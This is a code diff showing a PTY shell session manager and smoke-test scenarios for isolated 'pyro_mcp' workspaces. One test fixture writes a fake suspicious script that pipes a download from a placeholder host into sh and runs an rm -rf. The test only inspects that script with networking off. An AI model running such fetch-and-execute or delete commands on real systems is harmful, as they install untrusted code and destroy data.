raise RuntimeError(f"shell {self.shell_id} is not running")
pid = self.pid
try:
os.killpg(pid, signum)
except ProcessLookupError as exc:
self._refresh_process_state()
raise RuntimeError(f"shell {self.shell_id} is not running") from exc
result = self.summary()
result["signal"] = signal_name
return result
def close(self) -> dict[str, object]:
if self._process.poll() is None and self.pid is not None:
try:
os.killpg(self.pid, signal.SIGHUP)
except ProcessLookupError:
pass
try:
self._process.wait(timeout=5)
except subprocess.TimeoutExpired:
try:
os.killpg(self.pid, signal.SIGKILL)
except ProcessLookupError:
pass
self._process.wait(timeout=5)
else:
self._refresh_process_state()
self._close_master_fd()
if self._reader is not None:
self._reader.join(timeout=1)
if self._waiter is not None:
self._waiter.join(timeout=1)
result = self.summary()
result["closed"] = True
return result
def _reader_loop(self) -> None:
master_fd = self._master_fd
output_pipe = self._output_pipe
if master_fd is None and output_pipe is None:
return
while True:
try:
if master_fd is not None:
chunk = os.read(master_fd, 65536)
else:
if output_pipe is None:
break
chunk = os.read(output_pipe.fileno(), 65536)
except OSError:
break
if chunk == b"":
break
decoded = self._decoder.decode(chunk)
if decoded:
with self._lock:
self._output += decoded
decoded = self._decoder.decode(b"", final=True)
if decoded:
with self._lock:
self._output += decoded
def _waiter_loop(self) -> None:
exit_code = self._process.wait()
with self._lock:
self.state = "stopped"
self.exit_code = exit_code
self.ended_at = time.time()
def _refresh_process_state(self) -> None:
exit_code = self._process.poll()
if exit_code is None:
return
with self._lock:
if self.state == "running":
self.state = "stopped"
self.exit_code = exit_code
self.ended_at = time.time()
def _close_master_fd(self) -> None:
with self._lock:
master_fd = self._master_fd
self._master_fd = None
input_pipe = self._input_pipe
self._input_pipe = None
output_pipe = self._output_pipe
self._output_pipe = None
if input_pipe is not None:
input_pipe.close()
if output_pipe is not None:
output_pipe.close()
if master_fd is None:
return
try:
os.close(master_fd)
except OSError:
pass
def create_local_shell(
*,
workspace_id: str,
shell_id: str,
cwd: Path,
display_cwd: str,
cols: int,
rows: int,
env_overrides: dict[str, str] | None = None,
redact_values: list[str] | None = None,
) -> LocalShellSession:
session_key = f"{workspace_id}:{shell_id}"
with _LOCAL_SHELLS_LOCK:
if session_key in _LOCAL_SHELLS:
raise RuntimeError(f"shell {shell_id} already exists in workspace {workspace_id}")
session = LocalShellSession(
shell_id=shell_id,
cwd=cwd,
display_cwd=display_cwd,
cols=cols,
rows=rows,
env_overrides=env_overrides,
redact_values=redact_values,
)
_LOCAL_SHELLS[session_key] = session
return session
def get_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession:
session_key = f"{workspace_id}:{shell_id}"
with _LOCAL_SHELLS_LOCK:
try:
return _LOCAL_SHELLS[session_key]
except KeyError as exc:
raise ValueError(
f"shell {shell_id!r} does not exist in workspace {workspace_id!r}"
) from exc
def remove_local_shell(*, workspace_id: str, shell_id: str) -> LocalShellSession | None:
session_key = f"{workspace_id}:{shell_id}"
with _LOCAL_SHELLS_LOCK:
return _LOCAL_SHELLS.pop(session_key, None)
def shell_signal_names() -> tuple[str, ...]:
return SHELL_SIGNAL_NAMES
def shell_signal_arg_help() -> str:
return ", ".join(shlex.quote(name) for name in SHELL_SIGNAL_NAMES)

View file

@ -0,0 +1,541 @@
"""Canonical workspace use-case recipes and smoke scenarios."""
from __future__ import annotations
import argparse
import asyncio
import tempfile
import time
from dataclasses import dataclass
from pathlib import Path
from typing import Callable, Final, Literal
from pyro_mcp.api import Pyro
DEFAULT_USE_CASE_ENVIRONMENT: Final[str] = "debian:12"
USE_CASE_SUITE_LABEL: Final[str] = "workspace-use-case-smoke"
USE_CASE_SCENARIOS: Final[tuple[str, ...]] = (
"cold-start-validation",
"repro-fix-loop",
"parallel-workspaces",
"untrusted-inspection",
"review-eval",
)
USE_CASE_ALL_SCENARIO: Final[str] = "all"
USE_CASE_CHOICES: Final[tuple[str, ...]] = USE_CASE_SCENARIOS + (USE_CASE_ALL_SCENARIO,)
@dataclass(frozen=True)
class WorkspaceUseCaseRecipe:
scenario: str
title: str
mode: Literal["repro-fix", "inspect", "cold-start", "review-eval"]
smoke_target: str
doc_path: str
summary: str
WORKSPACE_USE_CASE_RECIPES: Final[tuple[WorkspaceUseCaseRecipe, ...]] = (
WorkspaceUseCaseRecipe(
scenario="cold-start-validation",
title="Cold-Start Repo Validation",
mode="cold-start",
smoke_target="smoke-cold-start-validation",
doc_path="docs/use-cases/cold-start-repo-validation.md",
summary=(
"Seed a small repo, validate it, run one long-lived service, probe it, "
"and export a report."
),
),
WorkspaceUseCaseRecipe(
scenario="repro-fix-loop",
title="Repro Plus Fix Loop",
mode="repro-fix",
smoke_target="smoke-repro-fix-loop",
doc_path="docs/use-cases/repro-fix-loop.md",
summary=(
"Reproduce a failure, patch it with model-native file ops, rerun, diff, "
"export, and reset."
),
),
WorkspaceUseCaseRecipe(
scenario="parallel-workspaces",
title="Parallel Isolated Workspaces",
mode="repro-fix",
smoke_target="smoke-parallel-workspaces",
doc_path="docs/use-cases/parallel-workspaces.md",
summary=(
"Create and manage multiple named workspaces, mutate them independently, "
"and verify isolation."
),
),
WorkspaceUseCaseRecipe(
scenario="untrusted-inspection",
title="Unsafe Or Untrusted Code Inspection",
mode="inspect",
smoke_target="smoke-untrusted-inspection",
doc_path="docs/use-cases/untrusted-inspection.md",
summary=(
"Inspect suspicious files offline-by-default, generate a report, and "
"export only explicit results."
),
),
WorkspaceUseCaseRecipe(
scenario="review-eval",
title="Review And Evaluation Workflows",
mode="review-eval",
smoke_target="smoke-review-eval",
doc_path="docs/use-cases/review-eval-workflows.md",
summary=(
"Walk a checklist through a PTY shell, run an evaluation, export the "
"report, and reset to a checkpoint."
),
),
)
_RECIPE_BY_SCENARIO: Final[dict[str, WorkspaceUseCaseRecipe]] = {
recipe.scenario: recipe for recipe in WORKSPACE_USE_CASE_RECIPES
}
ScenarioRunner = Callable[..., None]
def _write_text(path: Path, text: str) -> None:
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(text, encoding="utf-8")
def _log(message: str) -> None:
print(f"[smoke] {message}", flush=True)
def _extract_structured_tool_result(raw_result: object) -> dict[str, object]:
if not isinstance(raw_result, tuple) or len(raw_result) != 2:
raise TypeError("unexpected MCP tool result shape")
_, structured = raw_result
if not isinstance(structured, dict):
raise TypeError("expected structured dictionary result")
return structured
def _create_workspace(
pyro: Pyro,
*,
environment: str,
seed_path: Path,
name: str,
labels: dict[str, str],
network_policy: str = "off",
) -> str:
created = pyro.create_workspace(
environment=environment,
seed_path=seed_path,
name=name,
labels=labels,
network_policy=network_policy,
)
return str(created["workspace_id"])
def _create_project_aware_workspace(
pyro: Pyro,
*,
environment: str,
project_path: Path,
mode: Literal["repro-fix", "cold-start"],
name: str,
labels: dict[str, str],
) -> dict[str, object]:
async def _run() -> dict[str, object]:
server = pyro.create_server(mode=mode, project_path=project_path)
return _extract_structured_tool_result(
await server.call_tool(
"workspace_create",
{
"environment": environment,
"name": name,
"labels": labels,
},
)
)
return asyncio.run(_run())
def _safe_delete_workspace(pyro: Pyro, workspace_id: str | None) -> None:
if workspace_id is None:
return
try:
pyro.delete_workspace(workspace_id)
except Exception:
return
def _scenario_cold_start_validation(pyro: Pyro, *, root: Path, environment: str) -> None:
seed_dir = root / "seed"
export_dir = root / "export"
_write_text(
seed_dir / "README.md",
"# cold-start validation\n\nRun `sh validate.sh` and keep `sh serve.sh` alive.\n",
)
_write_text(
seed_dir / "validate.sh",
"#!/bin/sh\n"
"set -eu\n"
"printf '%s\\n' 'validation=pass' > validation-report.txt\n"
"printf '%s\\n' 'validated'\n",
)
_write_text(
seed_dir / "serve.sh",
"#!/bin/sh\n"
"set -eu\n"
"printf '%s\\n' 'service started'\n"
"printf '%s\\n' 'service=ready' > service-state.txt\n"
"touch .app-ready\n"
"while true; do sleep 60; done\n",
)
workspace_id: str | None = None
try:
created = _create_project_aware_workspace(
pyro,
environment=environment,
project_path=seed_dir,
mode="cold-start",
name="cold-start-validation",
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "cold-start-validation"},
)
workspace_id = str(created["workspace_id"])
_log(f"cold-start-validation workspace_id={workspace_id}")
workspace_seed = created["workspace_seed"]
assert isinstance(workspace_seed, dict), created
assert workspace_seed["origin_kind"] == "project_path", created
validation = pyro.exec_workspace(workspace_id, command="sh validate.sh")
assert int(validation["exit_code"]) == 0, validation
assert str(validation["stdout"]) == "validated\n", validation
assert str(validation["execution_mode"]) == "guest_vsock", validation
service = pyro.start_service(
workspace_id,
"app",
command="sh serve.sh",
readiness={"type": "file", "path": ".app-ready"},
)
assert str(service["state"]) == "running", service
probe = pyro.exec_workspace(
workspace_id,
command="sh -lc 'test -f .app-ready && cat service-state.txt'",
)
assert probe["stdout"] == "service=ready\n", probe
logs = pyro.logs_service(workspace_id, "app", tail_lines=20)
assert "service started" in str(logs["stdout"]), logs
export_path = export_dir / "validation-report.txt"
pyro.export_workspace(workspace_id, "validation-report.txt", output_path=export_path)
assert export_path.read_text(encoding="utf-8") == "validation=pass\n"
stopped = pyro.stop_service(workspace_id, "app")
assert str(stopped["state"]) == "stopped", stopped
finally:
_safe_delete_workspace(pyro, workspace_id)
def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> None:
seed_dir = root / "seed"
export_dir = root / "export"
patch_path = root / "fix.patch"
_write_text(seed_dir / "message.txt", "broken\n")
_write_text(
seed_dir / "check.sh",
"#!/bin/sh\n"
"set -eu\n"
"value=$(cat message.txt)\n"
"[ \"$value\" = \"fixed\" ] || {\n"
" printf 'expected fixed got %s\\n' \"$value\" >&2\n"
" exit 1\n"
"}\n"
"printf '%s\\n' \"$value\"\n",
)
_write_text(
patch_path,
"--- a/message.txt\n"
"+++ b/message.txt\n"
"@@ -1 +1 @@\n"
"-broken\n"
"+fixed\n",
)
workspace_id: str | None = None
try:
created = _create_project_aware_workspace(
pyro,
environment=environment,
project_path=seed_dir,
mode="repro-fix",
name="repro-fix-loop",
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "repro-fix-loop"},
)
workspace_id = str(created["workspace_id"])
_log(f"repro-fix-loop workspace_id={workspace_id}")
workspace_seed = created["workspace_seed"]
assert isinstance(workspace_seed, dict), created
assert workspace_seed["origin_kind"] == "project_path", created
assert workspace_seed["origin_ref"] == str(seed_dir.resolve()), created
initial_read = pyro.read_workspace_file(workspace_id, "message.txt")
assert str(initial_read["content"]) == "broken\n", initial_read
failing = pyro.exec_workspace(workspace_id, command="sh check.sh")
assert int(failing["exit_code"]) != 0, failing
patch_result = pyro.apply_workspace_patch(
workspace_id,
patch=patch_path.read_text(encoding="utf-8"),
)
assert bool(patch_result["changed"]) is True, patch_result
passing = pyro.exec_workspace(workspace_id, command="sh check.sh")
assert int(passing["exit_code"]) == 0, passing
assert str(passing["stdout"]) == "fixed\n", passing
diff = pyro.diff_workspace(workspace_id)
assert bool(diff["changed"]) is True, diff
export_path = export_dir / "message.txt"
pyro.export_workspace(workspace_id, "message.txt", output_path=export_path)
assert export_path.read_text(encoding="utf-8") == "fixed\n"
reset = pyro.reset_workspace(workspace_id)
assert int(reset["reset_count"]) == 1, reset
clean = pyro.diff_workspace(workspace_id)
assert bool(clean["changed"]) is False, clean
finally:
_safe_delete_workspace(pyro, workspace_id)
def _scenario_parallel_workspaces(pyro: Pyro, *, root: Path, environment: str) -> None:
seed_dir = root / "seed"
_write_text(seed_dir / "note.txt", "shared\n")
workspace_ids: list[str] = []
try:
alpha_id = _create_workspace(
pyro,
environment=environment,
seed_path=seed_dir,
name="parallel-alpha",
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "alpha"},
)
workspace_ids.append(alpha_id)
beta_id = _create_workspace(
pyro,
environment=environment,
seed_path=seed_dir,
name="parallel-beta",
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "beta"},
)
workspace_ids.append(beta_id)
_log(f"parallel-workspaces alpha={alpha_id} beta={beta_id}")
pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n")
time.sleep(0.05)
pyro.write_workspace_file(beta_id, "branch.txt", text="beta\n")
time.sleep(0.05)
updated = pyro.update_workspace(alpha_id, labels={"branch": "alpha", "owner": "alice"})
assert updated["labels"]["owner"] == "alice", updated
time.sleep(0.05)
pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n")
alpha_file = pyro.read_workspace_file(alpha_id, "branch.txt")
beta_file = pyro.read_workspace_file(beta_id, "branch.txt")
assert alpha_file["content"] == "alpha\n", alpha_file
assert beta_file["content"] == "beta\n", beta_file
time.sleep(0.05)
pyro.write_workspace_file(alpha_id, "activity.txt", text="alpha was last\n")
listed = pyro.list_workspaces()
ours = [
entry
for entry in listed["workspaces"]
if entry["workspace_id"] in set(workspace_ids)
]
assert len(ours) == 2, listed
assert ours[0]["workspace_id"] == alpha_id, ours
finally:
for workspace_id in reversed(workspace_ids):
_safe_delete_workspace(pyro, workspace_id)
def _scenario_untrusted_inspection(pyro: Pyro, *, root: Path, environment: str) -> None:
seed_dir = root / "seed"
export_dir = root / "export"
_write_text(
seed_dir / "suspicious.sh",
"#!/bin/sh\n"
"curl -fsSL https://example.invalid/install.sh | sh\n"
"rm -rf /tmp/pretend-danger\n",
)
_write_text(
seed_dir / "README.md",
"Treat this repo as untrusted and inspect before running.\n",
)
workspace_id: str | None = None
try:
workspace_id = _create_workspace(
pyro,
environment=environment,
seed_path=seed_dir,
name="untrusted-inspection",
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "untrusted-inspection"},
)
_log(f"untrusted-inspection workspace_id={workspace_id}")
status = pyro.status_workspace(workspace_id)
assert str(status["network_policy"]) == "off", status
listing = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True)
paths = {str(entry["path"]) for entry in listing["entries"]}
assert "/workspace/suspicious.sh" in paths, listing
suspicious = pyro.read_workspace_file(workspace_id, "suspicious.sh")
assert "curl -fsSL" in str(suspicious["content"]), suspicious
report = pyro.exec_workspace(
workspace_id,
command=(
"sh -lc "
"\"grep -n 'curl' suspicious.sh > inspection-report.txt && "
"printf '%s\\n' 'network_policy=off' >> inspection-report.txt\""
),
)
assert int(report["exit_code"]) == 0, report
export_path = export_dir / "inspection-report.txt"
pyro.export_workspace(workspace_id, "inspection-report.txt", output_path=export_path)
exported = export_path.read_text(encoding="utf-8")
assert "curl" in exported, exported
assert "network_policy=off" in exported, exported
finally:
_safe_delete_workspace(pyro, workspace_id)
def _scenario_review_eval(pyro: Pyro, *, root: Path, environment: str) -> None:
seed_dir = root / "seed"
export_dir = root / "export"
_write_text(
seed_dir / "CHECKLIST.md",
"# Review checklist\n\n- confirm artifact state\n- export the evaluation report\n",
)
_write_text(seed_dir / "artifact.txt", "PASS\n")
_write_text(
seed_dir / "review.sh",
"#!/bin/sh\n"
"set -eu\n"
"if grep -qx 'PASS' artifact.txt; then\n"
" printf '%s\\n' 'review=pass' > review-report.txt\n"
" printf '%s\\n' 'review passed'\n"
"else\n"
" printf '%s\\n' 'review=fail' > review-report.txt\n"
" printf '%s\\n' 'review failed' >&2\n"
" exit 1\n"
"fi\n",
)
workspace_id: str | None = None
shell_id: str | None = None
try:
workspace_id = _create_workspace(
pyro,
environment=environment,
seed_path=seed_dir,
name="review-eval",
labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "review-eval"},
)
_log(f"review-eval workspace_id={workspace_id}")
baseline_snapshot = pyro.create_snapshot(workspace_id, "pre-review")
assert baseline_snapshot["snapshot"]["snapshot_name"] == "pre-review", baseline_snapshot
shell = pyro.open_shell(workspace_id)
shell_id = str(shell["shell_id"])
initial = pyro.read_shell(
workspace_id,
shell_id,
cursor=0,
plain=True,
wait_for_idle_ms=300,
)
pyro.write_shell(workspace_id, shell_id, input="cat CHECKLIST.md")
read = pyro.read_shell(
workspace_id,
shell_id,
cursor=int(initial["next_cursor"]),
plain=True,
wait_for_idle_ms=300,
)
assert "Review checklist" in str(read["output"]), read
closed = pyro.close_shell(workspace_id, shell_id)
assert bool(closed["closed"]) is True, closed
shell_id = None
evaluation = pyro.exec_workspace(workspace_id, command="sh review.sh")
assert int(evaluation["exit_code"]) == 0, evaluation
pyro.write_workspace_file(workspace_id, "artifact.txt", text="FAIL\n")
reset = pyro.reset_workspace(workspace_id, snapshot="pre-review")
assert reset["workspace_reset"]["snapshot_name"] == "pre-review", reset
artifact = pyro.read_workspace_file(workspace_id, "artifact.txt")
assert artifact["content"] == "PASS\n", artifact
export_path = export_dir / "review-report.txt"
rerun = pyro.exec_workspace(workspace_id, command="sh review.sh")
assert int(rerun["exit_code"]) == 0, rerun
pyro.export_workspace(workspace_id, "review-report.txt", output_path=export_path)
assert export_path.read_text(encoding="utf-8") == "review=pass\n"
summary = pyro.summarize_workspace(workspace_id)
assert summary["workspace_id"] == workspace_id, summary
assert summary["changes"]["available"] is True, summary
assert summary["artifacts"]["exports"], summary
assert summary["snapshots"]["named_count"] >= 1, summary
finally:
if shell_id is not None and workspace_id is not None:
try:
pyro.close_shell(workspace_id, shell_id)
except Exception:
pass
_safe_delete_workspace(pyro, workspace_id)
_SCENARIO_RUNNERS: Final[dict[str, ScenarioRunner]] = {
"cold-start-validation": _scenario_cold_start_validation,
"repro-fix-loop": _scenario_repro_fix_loop,
"parallel-workspaces": _scenario_parallel_workspaces,
"untrusted-inspection": _scenario_untrusted_inspection,
"review-eval": _scenario_review_eval,
}
def run_workspace_use_case_scenario(
scenario: str,
*,
environment: str = DEFAULT_USE_CASE_ENVIRONMENT,
) -> None:
if scenario not in USE_CASE_CHOICES:
expected = ", ".join(USE_CASE_CHOICES)
raise ValueError(f"unknown use-case scenario {scenario!r}; expected one of: {expected}")
pyro = Pyro()
with tempfile.TemporaryDirectory(prefix="pyro-workspace-use-case-") as temp_dir:
root = Path(temp_dir)
scenario_names = USE_CASE_SCENARIOS if scenario == USE_CASE_ALL_SCENARIO else (scenario,)
for scenario_name in scenario_names:
recipe = _RECIPE_BY_SCENARIO[scenario_name]
_log(f"starting {recipe.scenario} ({recipe.title}) mode={recipe.mode}")
scenario_root = root / scenario_name
scenario_root.mkdir(parents=True, exist_ok=True)
runner = _SCENARIO_RUNNERS[scenario_name]
runner(pyro, root=scenario_root, environment=environment)
_log(f"completed {recipe.scenario}")
def build_arg_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
prog="workspace_use_case_smoke",
description="Run real guest-backed workspace use-case smoke scenarios.",
)
parser.add_argument(
"--scenario",
choices=USE_CASE_CHOICES,
default=USE_CASE_ALL_SCENARIO,
help="Use-case scenario to run. Defaults to all scenarios.",
)
parser.add_argument(
"--environment",
default=DEFAULT_USE_CASE_ENVIRONMENT,
help="Curated environment to use for the workspace scenarios.",
)
return parser
def main() -> None:
args = build_arg_parser().parse_args()
run_workspace_use_case_scenario(
str(args.scenario),
environment=str(args.environment),
)
if __name__ == "__main__":
main()

File diff suppressed because it is too large Load diff

Some files were not shown because too many files have changed in this diff Show more